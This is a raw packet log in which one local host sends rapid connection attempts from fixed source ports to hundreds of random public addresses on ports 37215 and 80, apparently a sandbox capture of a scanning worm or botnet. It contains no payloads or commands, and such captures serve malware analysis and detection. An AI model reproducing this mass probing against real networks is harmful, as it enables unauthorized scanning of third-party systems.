Mar 21, 2024 05:16:52.840396881 CET	29341	37215	192.168.2.23	197.32.60.221
Mar 21, 2024 05:16:52.840431929 CET	29341	37215	192.168.2.23	197.50.230.94
Mar 21, 2024 05:16:52.840445995 CET	29341	37215	192.168.2.23	197.151.125.161
Mar 21, 2024 05:16:52.840468884 CET	29341	37215	192.168.2.23	197.235.2.152
Mar 21, 2024 05:16:52.840478897 CET	29341	37215	192.168.2.23	197.74.252.147
Mar 21, 2024 05:16:52.840497971 CET	29341	37215	192.168.2.23	197.99.214.7
Mar 21, 2024 05:16:52.840517044 CET	29341	37215	192.168.2.23	197.1.219.38
Mar 21, 2024 05:16:52.840542078 CET	29341	37215	192.168.2.23	197.199.165.69
Mar 21, 2024 05:16:52.840564966 CET	29341	37215	192.168.2.23	197.81.40.235
Mar 21, 2024 05:16:52.840586901 CET	29341	37215	192.168.2.23	197.251.0.83
Mar 21, 2024 05:16:52.840600967 CET	29341	37215	192.168.2.23	197.234.183.128
Mar 21, 2024 05:16:52.840621948 CET	29341	37215	192.168.2.23	197.26.162.190
Mar 21, 2024 05:16:52.840634108 CET	29341	37215	192.168.2.23	197.95.174.104
Mar 21, 2024 05:16:52.840650082 CET	29341	37215	192.168.2.23	197.222.226.120
Mar 21, 2024 05:16:52.840670109 CET	29341	37215	192.168.2.23	197.155.132.182
Mar 21, 2024 05:16:52.840691090 CET	29341	37215	192.168.2.23	197.203.88.219
Mar 21, 2024 05:16:52.840708971 CET	29341	37215	192.168.2.23	197.161.113.0
Mar 21, 2024 05:16:52.840723038 CET	29341	37215	192.168.2.23	197.185.131.19
Mar 21, 2024 05:16:52.840739965 CET	29341	37215	192.168.2.23	197.120.71.238
Mar 21, 2024 05:16:52.840759039 CET	29341	37215	192.168.2.23	197.17.185.44
Mar 21, 2024 05:16:52.840780973 CET	29341	37215	192.168.2.23	197.51.128.4
Mar 21, 2024 05:16:52.840799093 CET	29341	37215	192.168.2.23	197.10.211.48
Mar 21, 2024 05:16:52.840814114 CET	29341	37215	192.168.2.23	197.134.41.123
Mar 21, 2024 05:16:52.840840101 CET	29341	37215	192.168.2.23	197.213.91.225
Mar 21, 2024 05:16:52.840859890 CET	29341	37215	192.168.2.23	197.9.152.36
Mar 21, 2024 05:16:52.840883017 CET	29341	37215	192.168.2.23	197.226.52.6
Mar 21, 2024 05:16:52.840892076 CET	29341	37215	192.168.2.23	197.175.127.168
Mar 21, 2024 05:16:52.840907097 CET	29341	37215	192.168.2.23	197.1.98.245
Mar 21, 2024 05:16:52.840923071 CET	29341	37215	192.168.2.23	197.122.144.174
Mar 21, 2024 05:16:52.840943098 CET	29341	37215	192.168.2.23	197.130.185.14
Mar 21, 2024 05:16:52.840960979 CET	29341	37215	192.168.2.23	197.89.85.235
Mar 21, 2024 05:16:52.840987921 CET	29341	37215	192.168.2.23	197.85.212.64
Mar 21, 2024 05:16:52.841001034 CET	29341	37215	192.168.2.23	197.63.172.95
Mar 21, 2024 05:16:52.841023922 CET	29341	37215	192.168.2.23	197.196.150.105
Mar 21, 2024 05:16:52.841038942 CET	29341	37215	192.168.2.23	197.44.218.198
Mar 21, 2024 05:16:52.841062069 CET	29341	37215	192.168.2.23	197.230.24.161
Mar 21, 2024 05:16:52.841065884 CET	29341	37215	192.168.2.23	197.28.118.78
Mar 21, 2024 05:16:52.841104031 CET	29341	37215	192.168.2.23	197.146.170.51
Mar 21, 2024 05:16:52.841133118 CET	29341	37215	192.168.2.23	197.232.48.172
Mar 21, 2024 05:16:52.841206074 CET	29341	37215	192.168.2.23	197.115.247.158
Mar 21, 2024 05:16:52.841212988 CET	29341	37215	192.168.2.23	197.231.2.122
Mar 21, 2024 05:16:52.841234922 CET	29341	37215	192.168.2.23	197.145.232.252
Mar 21, 2024 05:16:52.841243982 CET	29341	37215	192.168.2.23	197.218.82.20
Mar 21, 2024 05:16:52.841247082 CET	29341	37215	192.168.2.23	197.168.23.69
Mar 21, 2024 05:16:52.841248035 CET	29341	37215	192.168.2.23	197.190.5.161
Mar 21, 2024 05:16:52.841249943 CET	29341	37215	192.168.2.23	197.129.19.246
Mar 21, 2024 05:16:52.841312885 CET	29341	37215	192.168.2.23	197.171.45.244
Mar 21, 2024 05:16:52.841320992 CET	29341	37215	192.168.2.23	197.121.227.148
Mar 21, 2024 05:16:52.841348886 CET	29341	37215	192.168.2.23	197.128.211.254
Mar 21, 2024 05:16:52.841384888 CET	29341	37215	192.168.2.23	197.11.191.30
Mar 21, 2024 05:16:52.841387033 CET	29341	37215	192.168.2.23	197.188.27.144
Mar 21, 2024 05:16:52.841391087 CET	29341	37215	192.168.2.23	197.34.34.34
Mar 21, 2024 05:16:52.841394901 CET	29341	37215	192.168.2.23	197.208.196.84
Mar 21, 2024 05:16:52.841424942 CET	29341	37215	192.168.2.23	197.145.37.102
Mar 21, 2024 05:16:52.841427088 CET	29341	37215	192.168.2.23	197.63.31.131
Mar 21, 2024 05:16:52.841449976 CET	29341	37215	192.168.2.23	197.145.238.107
Mar 21, 2024 05:16:52.841489077 CET	29341	37215	192.168.2.23	197.40.53.29
Mar 21, 2024 05:16:52.841500998 CET	29341	37215	192.168.2.23	197.51.129.190
Mar 21, 2024 05:16:52.841501951 CET	29341	37215	192.168.2.23	197.199.86.102
Mar 21, 2024 05:16:52.841516018 CET	29341	37215	192.168.2.23	197.221.53.92
Mar 21, 2024 05:16:52.841567993 CET	29341	37215	192.168.2.23	197.162.233.226
Mar 21, 2024 05:16:52.841603994 CET	29341	37215	192.168.2.23	197.58.76.139
Mar 21, 2024 05:16:52.841630936 CET	29341	37215	192.168.2.23	197.176.95.142
Mar 21, 2024 05:16:52.841630936 CET	29341	37215	192.168.2.23	197.143.66.165
Mar 21, 2024 05:16:52.841651917 CET	29341	37215	192.168.2.23	197.34.9.137
Mar 21, 2024 05:16:52.841670036 CET	29341	37215	192.168.2.23	197.108.188.63
Mar 21, 2024 05:16:52.841689110 CET	29341	37215	192.168.2.23	197.8.71.42
Mar 21, 2024 05:16:52.841757059 CET	29341	37215	192.168.2.23	197.108.130.225
Mar 21, 2024 05:16:52.841761112 CET	29341	37215	192.168.2.23	197.164.5.186
Mar 21, 2024 05:16:52.841780901 CET	29341	37215	192.168.2.23	197.5.161.198
Mar 21, 2024 05:16:52.841780901 CET	29341	37215	192.168.2.23	197.187.7.158
Mar 21, 2024 05:16:52.841780901 CET	29341	37215	192.168.2.23	197.172.67.98
Mar 21, 2024 05:16:52.841793060 CET	29341	37215	192.168.2.23	197.208.93.181
Mar 21, 2024 05:16:52.841820002 CET	29341	37215	192.168.2.23	197.192.134.54
Mar 21, 2024 05:16:52.841820002 CET	29341	37215	192.168.2.23	197.106.95.108
Mar 21, 2024 05:16:52.841835976 CET	29341	37215	192.168.2.23	197.178.208.38
Mar 21, 2024 05:16:52.841856003 CET	29341	37215	192.168.2.23	197.128.39.107
Mar 21, 2024 05:16:52.841870070 CET	29341	37215	192.168.2.23	197.153.66.242
Mar 21, 2024 05:16:52.841952085 CET	29341	37215	192.168.2.23	197.0.40.231
Mar 21, 2024 05:16:52.841959953 CET	29341	37215	192.168.2.23	197.74.51.223
Mar 21, 2024 05:16:52.841967106 CET	29341	37215	192.168.2.23	197.100.198.14
Mar 21, 2024 05:16:52.841968060 CET	29341	37215	192.168.2.23	197.81.67.129
Mar 21, 2024 05:16:52.841969967 CET	29341	37215	192.168.2.23	197.8.13.200
Mar 21, 2024 05:16:52.841969967 CET	29341	37215	192.168.2.23	197.146.37.97
Mar 21, 2024 05:16:52.841972113 CET	29341	37215	192.168.2.23	197.4.27.54
Mar 21, 2024 05:16:52.841988087 CET	29341	37215	192.168.2.23	197.29.195.242
Mar 21, 2024 05:16:52.842011929 CET	29341	37215	192.168.2.23	197.111.155.107
Mar 21, 2024 05:16:52.842030048 CET	29341	37215	192.168.2.23	197.228.0.128
Mar 21, 2024 05:16:52.842051029 CET	29341	37215	192.168.2.23	197.28.108.91
Mar 21, 2024 05:16:52.842062950 CET	29341	37215	192.168.2.23	197.47.84.143
Mar 21, 2024 05:16:52.842144012 CET	29341	37215	192.168.2.23	197.133.147.55
Mar 21, 2024 05:16:52.842178106 CET	29341	37215	192.168.2.23	197.15.99.27
Mar 21, 2024 05:16:52.842217922 CET	29341	37215	192.168.2.23	197.129.191.145
Mar 21, 2024 05:16:52.842226982 CET	29341	37215	192.168.2.23	197.127.238.78
Mar 21, 2024 05:16:52.842245102 CET	29341	37215	192.168.2.23	197.229.71.229
Mar 21, 2024 05:16:52.842266083 CET	29341	37215	192.168.2.23	197.242.220.108
Mar 21, 2024 05:16:52.842304945 CET	29341	37215	192.168.2.23	197.115.243.5
Mar 21, 2024 05:16:52.842353106 CET	29341	37215	192.168.2.23	197.173.178.56
Mar 21, 2024 05:16:52.842359066 CET	29341	37215	192.168.2.23	197.204.61.87
Mar 21, 2024 05:16:52.842372894 CET	29341	37215	192.168.2.23	197.245.87.56
Mar 21, 2024 05:16:52.842372894 CET	29341	37215	192.168.2.23	197.56.239.44
Mar 21, 2024 05:16:52.842380047 CET	29341	37215	192.168.2.23	197.39.233.23
Mar 21, 2024 05:16:52.842398882 CET	29341	37215	192.168.2.23	197.15.139.175
Mar 21, 2024 05:16:52.842444897 CET	29341	37215	192.168.2.23	197.208.17.5
Mar 21, 2024 05:16:52.842492104 CET	29341	37215	192.168.2.23	197.116.123.218
Mar 21, 2024 05:16:52.842494965 CET	29341	37215	192.168.2.23	197.3.91.241
Mar 21, 2024 05:16:52.842510939 CET	29341	37215	192.168.2.23	197.184.12.161
Mar 21, 2024 05:16:52.842510939 CET	29341	37215	192.168.2.23	197.128.221.53
Mar 21, 2024 05:16:52.842521906 CET	29341	37215	192.168.2.23	197.152.78.206
Mar 21, 2024 05:16:52.842540026 CET	29341	37215	192.168.2.23	197.125.182.86
Mar 21, 2024 05:16:52.842593908 CET	29341	37215	192.168.2.23	197.218.153.126
Mar 21, 2024 05:16:52.842654943 CET	29341	37215	192.168.2.23	197.149.145.109
Mar 21, 2024 05:16:52.842658997 CET	29341	37215	192.168.2.23	197.151.162.209
Mar 21, 2024 05:16:52.842659950 CET	29341	37215	192.168.2.23	197.175.86.91
Mar 21, 2024 05:16:52.842681885 CET	29341	37215	192.168.2.23	197.218.237.64
Mar 21, 2024 05:16:52.842700005 CET	29341	37215	192.168.2.23	197.84.157.41
Mar 21, 2024 05:16:52.842701912 CET	29341	37215	192.168.2.23	197.182.182.103
Mar 21, 2024 05:16:52.842705011 CET	29341	37215	192.168.2.23	197.140.170.84
Mar 21, 2024 05:16:52.842705011 CET	29341	37215	192.168.2.23	197.24.77.198
Mar 21, 2024 05:16:52.842711926 CET	29341	37215	192.168.2.23	197.85.226.166
Mar 21, 2024 05:16:52.842714071 CET	29341	37215	192.168.2.23	197.168.163.176
Mar 21, 2024 05:16:52.842721939 CET	29341	37215	192.168.2.23	197.253.140.81
Mar 21, 2024 05:16:52.842736006 CET	29341	37215	192.168.2.23	197.141.43.211
Mar 21, 2024 05:16:52.842788935 CET	29341	37215	192.168.2.23	197.144.14.190
Mar 21, 2024 05:16:52.842789888 CET	29341	37215	192.168.2.23	197.190.60.76
Mar 21, 2024 05:16:52.842818022 CET	29341	37215	192.168.2.23	197.130.75.242
Mar 21, 2024 05:16:52.842837095 CET	29341	37215	192.168.2.23	197.142.217.42
Mar 21, 2024 05:16:52.842845917 CET	29341	37215	192.168.2.23	197.151.116.71
Mar 21, 2024 05:16:52.842871904 CET	29341	37215	192.168.2.23	197.233.60.202
Mar 21, 2024 05:16:52.842891932 CET	29341	37215	192.168.2.23	197.232.153.143
Mar 21, 2024 05:16:52.842957020 CET	29341	37215	192.168.2.23	197.171.25.70
Mar 21, 2024 05:16:52.842958927 CET	29341	37215	192.168.2.23	197.240.228.36
Mar 21, 2024 05:16:52.843013048 CET	29341	37215	192.168.2.23	197.90.198.72
Mar 21, 2024 05:16:52.843018055 CET	29341	37215	192.168.2.23	197.6.219.78
Mar 21, 2024 05:16:52.843018055 CET	29341	37215	192.168.2.23	197.40.36.202
Mar 21, 2024 05:16:52.843018055 CET	29341	37215	192.168.2.23	197.168.74.120
Mar 21, 2024 05:16:52.843019009 CET	29341	37215	192.168.2.23	197.86.83.74
Mar 21, 2024 05:16:52.843034029 CET	29341	37215	192.168.2.23	197.87.12.101
Mar 21, 2024 05:16:52.843049049 CET	29341	37215	192.168.2.23	197.204.107.153
Mar 21, 2024 05:16:52.843103886 CET	29341	37215	192.168.2.23	197.214.250.195
Mar 21, 2024 05:16:52.843106031 CET	29341	37215	192.168.2.23	197.50.86.214
Mar 21, 2024 05:16:52.843111038 CET	29341	37215	192.168.2.23	197.75.129.121
Mar 21, 2024 05:16:52.843158007 CET	29341	37215	192.168.2.23	197.232.44.205
Mar 21, 2024 05:16:52.843167067 CET	29341	37215	192.168.2.23	197.206.51.63
Mar 21, 2024 05:16:52.843177080 CET	29341	37215	192.168.2.23	197.155.122.80
Mar 21, 2024 05:16:52.843178034 CET	29341	37215	192.168.2.23	197.158.40.196
Mar 21, 2024 05:16:52.843192101 CET	29341	37215	192.168.2.23	197.117.34.89
Mar 21, 2024 05:16:52.843215942 CET	29341	37215	192.168.2.23	197.232.31.229
Mar 21, 2024 05:16:52.843265057 CET	29341	37215	192.168.2.23	197.193.92.132
Mar 21, 2024 05:16:52.843266010 CET	29341	37215	192.168.2.23	197.17.58.193
Mar 21, 2024 05:16:52.843313932 CET	29341	37215	192.168.2.23	197.210.74.206
Mar 21, 2024 05:16:52.843317986 CET	29341	37215	192.168.2.23	197.182.172.154
Mar 21, 2024 05:16:52.843316078 CET	29341	37215	192.168.2.23	197.19.69.203
Mar 21, 2024 05:16:52.843322992 CET	29341	37215	192.168.2.23	197.159.105.234
Mar 21, 2024 05:16:52.843336105 CET	29341	37215	192.168.2.23	197.99.250.219
Mar 21, 2024 05:16:52.843350887 CET	29341	37215	192.168.2.23	197.237.195.41
Mar 21, 2024 05:16:52.843389988 CET	29341	37215	192.168.2.23	197.52.43.152
Mar 21, 2024 05:16:52.843390942 CET	29341	37215	192.168.2.23	197.198.60.63
Mar 21, 2024 05:16:52.843437910 CET	29341	37215	192.168.2.23	197.92.105.206
Mar 21, 2024 05:16:52.843460083 CET	29341	37215	192.168.2.23	197.2.77.51
Mar 21, 2024 05:16:52.843460083 CET	29341	37215	192.168.2.23	197.70.210.227
Mar 21, 2024 05:16:52.843466997 CET	29341	37215	192.168.2.23	197.158.227.243
Mar 21, 2024 05:16:52.843480110 CET	29341	37215	192.168.2.23	197.57.129.98
Mar 21, 2024 05:16:52.843496084 CET	29341	37215	192.168.2.23	197.228.213.29
Mar 21, 2024 05:16:52.843521118 CET	29341	37215	192.168.2.23	197.207.87.205
Mar 21, 2024 05:16:52.843611956 CET	29341	37215	192.168.2.23	197.122.241.17
Mar 21, 2024 05:16:52.843612909 CET	29341	37215	192.168.2.23	197.44.234.107
Mar 21, 2024 05:16:52.843612909 CET	29341	37215	192.168.2.23	197.151.55.194
Mar 21, 2024 05:16:52.843620062 CET	29341	37215	192.168.2.23	197.64.213.156
Mar 21, 2024 05:16:52.843621016 CET	29341	37215	192.168.2.23	197.34.175.76
Mar 21, 2024 05:16:52.843621016 CET	29341	37215	192.168.2.23	197.44.3.24
Mar 21, 2024 05:16:52.843633890 CET	29341	37215	192.168.2.23	197.131.100.76
Mar 21, 2024 05:16:52.843684912 CET	29341	37215	192.168.2.23	197.109.125.106
Mar 21, 2024 05:16:52.843689919 CET	29341	37215	192.168.2.23	197.64.140.147
Mar 21, 2024 05:16:52.843693018 CET	29341	37215	192.168.2.23	197.80.13.15
Mar 21, 2024 05:16:52.843705893 CET	29341	37215	192.168.2.23	197.54.17.210
Mar 21, 2024 05:16:52.843751907 CET	29341	37215	192.168.2.23	197.213.235.57
Mar 21, 2024 05:16:52.843763113 CET	29341	37215	192.168.2.23	197.162.187.148
Mar 21, 2024 05:16:52.843765020 CET	29341	37215	192.168.2.23	197.136.85.54
Mar 21, 2024 05:16:52.843770027 CET	29341	37215	192.168.2.23	197.21.201.169
Mar 21, 2024 05:16:52.843780994 CET	29341	37215	192.168.2.23	197.216.171.255
Mar 21, 2024 05:16:52.843816042 CET	29341	37215	192.168.2.23	197.29.93.23
Mar 21, 2024 05:16:52.843817949 CET	29341	37215	192.168.2.23	197.121.221.107
Mar 21, 2024 05:16:52.843817949 CET	29341	37215	192.168.2.23	197.176.41.143
Mar 21, 2024 05:16:52.843894005 CET	29341	37215	192.168.2.23	197.247.167.243
Mar 21, 2024 05:16:52.843894958 CET	29341	37215	192.168.2.23	197.58.211.232
Mar 21, 2024 05:16:52.843895912 CET	29341	37215	192.168.2.23	197.90.241.113
Mar 21, 2024 05:16:52.843895912 CET	29341	37215	192.168.2.23	197.137.174.177
Mar 21, 2024 05:16:52.874047041 CET	29283	80	192.168.2.23	95.109.24.51
Mar 21, 2024 05:16:52.874157906 CET	29283	80	192.168.2.23	95.52.160.51
Mar 21, 2024 05:16:52.874211073 CET	29283	80	192.168.2.23	95.59.101.72
Mar 21, 2024 05:16:52.874285936 CET	29283	80	192.168.2.23	95.96.178.20
Mar 21, 2024 05:16:52.874289989 CET	29283	80	192.168.2.23	95.210.194.231
Mar 21, 2024 05:16:52.874290943 CET	29283	80	192.168.2.23	95.139.97.13
Mar 21, 2024 05:16:52.874291897 CET	29283	80	192.168.2.23	95.165.192.7
Mar 21, 2024 05:16:52.874320030 CET	29283	80	192.168.2.23	95.114.67.214
Mar 21, 2024 05:16:52.874339104 CET	29283	80	192.168.2.23	95.177.223.16
Mar 21, 2024 05:16:52.874361992 CET	29283	80	192.168.2.23	95.89.164.28
Mar 21, 2024 05:16:52.874382019 CET	29283	80	192.168.2.23	95.179.153.62
Mar 21, 2024 05:16:52.874454021 CET	29283	80	192.168.2.23	95.159.160.7
Mar 21, 2024 05:16:52.874464989 CET	29283	80	192.168.2.23	95.129.105.199
Mar 21, 2024 05:16:52.874468088 CET	29283	80	192.168.2.23	95.32.71.142
Mar 21, 2024 05:16:52.874475002 CET	29283	80	192.168.2.23	95.205.31.161
Mar 21, 2024 05:16:52.874483109 CET	29283	80	192.168.2.23	95.35.83.77
Mar 21, 2024 05:16:52.874516964 CET	29283	80	192.168.2.23	95.118.81.98
Mar 21, 2024 05:16:52.874526978 CET	29283	80	192.168.2.23	95.144.90.130
Mar 21, 2024 05:16:52.874526978 CET	29283	80	192.168.2.23	95.62.103.109
Mar 21, 2024 05:16:52.874531031 CET	29283	80	192.168.2.23	95.168.246.123
Mar 21, 2024 05:16:52.874562979 CET	29283	80	192.168.2.23	95.86.163.253
Mar 21, 2024 05:16:52.874576092 CET	29283	80	192.168.2.23	95.35.224.114
Mar 21, 2024 05:16:52.874605894 CET	29283	80	192.168.2.23	95.239.99.99
Mar 21, 2024 05:16:52.874609947 CET	29283	80	192.168.2.23	95.56.225.207
Mar 21, 2024 05:16:52.874649048 CET	29283	80	192.168.2.23	95.69.130.207
Mar 21, 2024 05:16:52.874650955 CET	29283	80	192.168.2.23	95.26.254.128
Mar 21, 2024 05:16:52.874650955 CET	29283	80	192.168.2.23	95.64.189.184
Mar 21, 2024 05:16:52.874677896 CET	29283	80	192.168.2.23	95.124.90.64
Mar 21, 2024 05:16:52.874696970 CET	29283	80	192.168.2.23	95.0.88.225
Mar 21, 2024 05:16:52.874710083 CET	29283	80	192.168.2.23	95.164.166.8
Mar 21, 2024 05:16:52.874730110 CET	29283	80	192.168.2.23	95.8.29.210
Mar 21, 2024 05:16:52.874747038 CET	29283	80	192.168.2.23	95.27.1.60
Mar 21, 2024 05:16:52.874814987 CET	29283	80	192.168.2.23	95.16.93.37
Mar 21, 2024 05:16:52.874814987 CET	29283	80	192.168.2.23	95.105.15.82
Mar 21, 2024 05:16:52.874883890 CET	29283	80	192.168.2.23	95.80.107.1
Mar 21, 2024 05:16:52.874883890 CET	29283	80	192.168.2.23	95.22.141.211
Mar 21, 2024 05:16:52.874886036 CET	29283	80	192.168.2.23	95.102.222.194
Mar 21, 2024 05:16:52.874905109 CET	29283	80	192.168.2.23	95.219.167.141
Mar 21, 2024 05:16:52.874921083 CET	29283	80	192.168.2.23	95.205.200.26
Mar 21, 2024 05:16:52.874934912 CET	29283	80	192.168.2.23	95.219.14.59
Mar 21, 2024 05:16:52.874975920 CET	29283	80	192.168.2.23	95.21.192.58
Mar 21, 2024 05:16:52.875005007 CET	29283	80	192.168.2.23	95.142.224.18
Mar 21, 2024 05:16:52.875036955 CET	29283	80	192.168.2.23	95.56.80.137
Mar 21, 2024 05:16:52.875057936 CET	29283	80	192.168.2.23	95.120.119.255
Mar 21, 2024 05:16:52.875081062 CET	29283	80	192.168.2.23	95.254.221.175
Mar 21, 2024 05:16:52.875103951 CET	29283	80	192.168.2.23	95.48.88.33
Mar 21, 2024 05:16:52.875119925 CET	29283	80	192.168.2.23	95.240.165.211
Mar 21, 2024 05:16:52.875132084 CET	29283	80	192.168.2.23	95.231.220.36
Mar 21, 2024 05:16:52.875153065 CET	29283	80	192.168.2.23	95.35.135.21
Mar 21, 2024 05:16:52.875164032 CET	29283	80	192.168.2.23	95.4.93.36
Mar 21, 2024 05:16:52.875180006 CET	29283	80	192.168.2.23	95.164.240.58
Mar 21, 2024 05:16:52.875204086 CET	29283	80	192.168.2.23	95.60.148.223
Mar 21, 2024 05:16:52.875226021 CET	29283	80	192.168.2.23	95.150.161.103
Mar 21, 2024 05:16:52.875261068 CET	29283	80	192.168.2.23	95.47.26.203
Mar 21, 2024 05:16:52.875274897 CET	29283	80	192.168.2.23	95.220.70.202
Mar 21, 2024 05:16:52.875313044 CET	29283	80	192.168.2.23	95.52.162.212
Mar 21, 2024 05:16:52.875344992 CET	29283	80	192.168.2.23	95.241.187.125
Mar 21, 2024 05:16:52.875355959 CET	29283	80	192.168.2.23	95.159.251.20
Mar 21, 2024 05:16:52.875380039 CET	29283	80	192.168.2.23	95.133.152.77
Mar 21, 2024 05:16:52.875407934 CET	29283	80	192.168.2.23	95.41.125.0
Mar 21, 2024 05:16:52.875427961 CET	29283	80	192.168.2.23	95.145.153.5
Mar 21, 2024 05:16:52.875443935 CET	29283	80	192.168.2.23	95.107.140.80
Mar 21, 2024 05:16:52.875462055 CET	29283	80	192.168.2.23	95.56.63.60
Mar 21, 2024 05:16:52.875472069 CET	29283	80	192.168.2.23	95.57.182.210
Mar 21, 2024 05:16:52.875492096 CET	29283	80	192.168.2.23	95.218.18.250
Mar 21, 2024 05:16:52.875520945 CET	29283	80	192.168.2.23	95.154.33.239
Mar 21, 2024 05:16:52.875529051 CET	29283	80	192.168.2.23	95.183.142.202
Mar 21, 2024 05:16:52.875556946 CET	29283	80	192.168.2.23	95.5.114.210
Mar 21, 2024 05:16:52.875579119 CET	29283	80	192.168.2.23	95.14.76.46
Mar 21, 2024 05:16:52.875592947 CET	29283	80	192.168.2.23	95.22.210.120
Mar 21, 2024 05:16:52.875610113 CET	29283	80	192.168.2.23	95.93.217.182
Mar 21, 2024 05:16:52.875633955 CET	29283	80	192.168.2.23	95.162.10.181
Mar 21, 2024 05:16:52.875653028 CET	29283	80	192.168.2.23	95.77.69.71
Mar 21, 2024 05:16:52.875663042 CET	29283	80	192.168.2.23	95.188.164.158
Mar 21, 2024 05:16:52.875685930 CET	29283	80	192.168.2.23	95.17.17.13
Mar 21, 2024 05:16:52.875699997 CET	29283	80	192.168.2.23	95.180.37.50
Mar 21, 2024 05:16:52.875731945 CET	29283	80	192.168.2.23	95.198.41.69
Mar 21, 2024 05:16:52.875756979 CET	29283	80	192.168.2.23	95.17.48.80
Mar 21, 2024 05:16:52.875772953 CET	29283	80	192.168.2.23	95.189.48.80
Mar 21, 2024 05:16:52.875796080 CET	29283	80	192.168.2.23	95.237.32.93
Mar 21, 2024 05:16:52.875814915 CET	29283	80	192.168.2.23	95.254.36.202
Mar 21, 2024 05:16:52.875837088 CET	29283	80	192.168.2.23	95.177.34.9
Mar 21, 2024 05:16:52.875852108 CET	29283	80	192.168.2.23	95.43.46.177
Mar 21, 2024 05:16:52.875875950 CET	29283	80	192.168.2.23	95.42.60.52
Mar 21, 2024 05:16:52.875890970 CET	29283	80	192.168.2.23	95.116.189.253
Mar 21, 2024 05:16:52.875905991 CET	29283	80	192.168.2.23	95.16.82.103
Mar 21, 2024 05:16:52.875938892 CET	29283	80	192.168.2.23	95.223.2.216
Mar 21, 2024 05:16:52.875961065 CET	29283	80	192.168.2.23	95.23.20.80
Mar 21, 2024 05:16:52.875973940 CET	29283	80	192.168.2.23	95.229.120.186
Mar 21, 2024 05:16:52.875993967 CET	29283	80	192.168.2.23	95.3.230.89
Mar 21, 2024 05:16:52.876012087 CET	29283	80	192.168.2.23	95.197.167.7
Mar 21, 2024 05:16:52.876028061 CET	29283	80	192.168.2.23	95.110.159.53
Mar 21, 2024 05:16:52.876044035 CET	29283	80	192.168.2.23	95.167.119.11
Mar 21, 2024 05:16:52.876066923 CET	29283	80	192.168.2.23	95.191.227.226
Mar 21, 2024 05:16:52.876090050 CET	29283	80	192.168.2.23	95.249.149.123
Mar 21, 2024 05:16:52.876107931 CET	29283	80	192.168.2.23	95.241.230.109
Mar 21, 2024 05:16:52.876132011 CET	29283	80	192.168.2.23	95.217.108.53
Mar 21, 2024 05:16:52.876144886 CET	29283	80	192.168.2.23	95.242.37.201
Mar 21, 2024 05:16:52.876168966 CET	29283	80	192.168.2.23	95.16.51.116
Mar 21, 2024 05:16:52.876183033 CET	29283	80	192.168.2.23	95.78.149.154
Mar 21, 2024 05:16:52.876202106 CET	29283	80	192.168.2.23	95.43.131.88
Mar 21, 2024 05:16:52.876221895 CET	29283	80	192.168.2.23	95.62.111.48
Mar 21, 2024 05:16:52.876230001 CET	29283	80	192.168.2.23	95.47.141.36
Mar 21, 2024 05:16:52.876487017 CET	29283	80	192.168.2.23	95.234.31.138
Mar 21, 2024 05:16:52.876502991 CET	29283	80	192.168.2.23	95.35.183.4
Mar 21, 2024 05:16:52.876530886 CET	29283	80	192.168.2.23	95.22.171.209
Mar 21, 2024 05:16:52.876550913 CET	29283	80	192.168.2.23	95.216.134.172
Mar 21, 2024 05:16:52.876585007 CET	29283	80	192.168.2.23	95.57.131.98
Mar 21, 2024 05:16:52.876602888 CET	29283	80	192.168.2.23	95.196.92.124
Mar 21, 2024 05:16:52.876616955 CET	29283	80	192.168.2.23	95.39.48.42
Mar 21, 2024 05:16:52.876633883 CET	29283	80	192.168.2.23	95.82.119.140
Mar 21, 2024 05:16:52.876650095 CET	29283	80	192.168.2.23	95.61.63.81
Mar 21, 2024 05:16:52.876667023 CET	29283	80	192.168.2.23	95.2.166.238
Mar 21, 2024 05:16:52.876698017 CET	29283	80	192.168.2.23	95.251.197.56
Mar 21, 2024 05:16:52.876713037 CET	29283	80	192.168.2.23	95.91.28.74
Mar 21, 2024 05:16:52.876740932 CET	29283	80	192.168.2.23	95.144.157.55
Mar 21, 2024 05:16:52.876763105 CET	29283	80	192.168.2.23	95.178.149.139
Mar 21, 2024 05:16:52.876792908 CET	29283	80	192.168.2.23	95.41.33.37
Mar 21, 2024 05:16:52.876808882 CET	29283	80	192.168.2.23	95.10.155.212
Mar 21, 2024 05:16:52.877113104 CET	29283	80	192.168.2.23	95.185.61.228
Mar 21, 2024 05:16:52.877120018 CET	29283	80	192.168.2.23	95.75.104.248
Mar 21, 2024 05:16:52.877171040 CET	29283	80	192.168.2.23	95.182.34.231
Mar 21, 2024 05:16:52.877180099 CET	29283	80	192.168.2.23	95.42.118.146
Mar 21, 2024 05:16:52.877202988 CET	29283	80	192.168.2.23	95.254.208.211
Mar 21, 2024 05:16:52.877219915 CET	29283	80	192.168.2.23	95.113.59.51
Mar 21, 2024 05:16:52.877235889 CET	29283	80	192.168.2.23	95.115.137.35
Mar 21, 2024 05:16:52.877315998 CET	29283	80	192.168.2.23	95.218.50.23
Mar 21, 2024 05:16:52.877316952 CET	29283	80	192.168.2.23	95.126.228.62
Mar 21, 2024 05:16:52.877316952 CET	29283	80	192.168.2.23	95.244.35.83
Mar 21, 2024 05:16:52.877316952 CET	29283	80	192.168.2.23	95.145.239.227
Mar 21, 2024 05:16:52.877353907 CET	29283	80	192.168.2.23	95.235.218.29
Mar 21, 2024 05:16:52.877374887 CET	29283	80	192.168.2.23	95.242.184.88
Mar 21, 2024 05:16:52.877374887 CET	29283	80	192.168.2.23	95.201.170.28
Mar 21, 2024 05:16:52.877374887 CET	29283	80	192.168.2.23	95.252.16.7
Mar 21, 2024 05:16:52.877379894 CET	29283	80	192.168.2.23	95.235.17.136
Mar 21, 2024 05:16:52.877393961 CET	29283	80	192.168.2.23	95.150.108.60
Mar 21, 2024 05:16:52.877470970 CET	29283	80	192.168.2.23	95.183.22.235
Mar 21, 2024 05:16:52.877471924 CET	29283	80	192.168.2.23	95.89.207.95
Mar 21, 2024 05:16:52.877474070 CET	29283	80	192.168.2.23	95.238.238.222
Mar 21, 2024 05:16:52.877485991 CET	29283	80	192.168.2.23	95.45.131.165
Mar 21, 2024 05:16:52.877489090 CET	29283	80	192.168.2.23	95.33.202.16
Mar 21, 2024 05:16:52.877523899 CET	29283	80	192.168.2.23	95.177.44.12
Mar 21, 2024 05:16:52.877536058 CET	29283	80	192.168.2.23	95.157.98.226
Mar 21, 2024 05:16:52.877618074 CET	29283	80	192.168.2.23	95.159.184.200
Mar 21, 2024 05:16:52.877623081 CET	29283	80	192.168.2.23	95.70.220.16
Mar 21, 2024 05:16:52.877623081 CET	29283	80	192.168.2.23	95.143.101.252
Mar 21, 2024 05:16:52.877624035 CET	29283	80	192.168.2.23	95.93.45.156
Mar 21, 2024 05:16:52.877624989 CET	29283	80	192.168.2.23	95.60.152.38
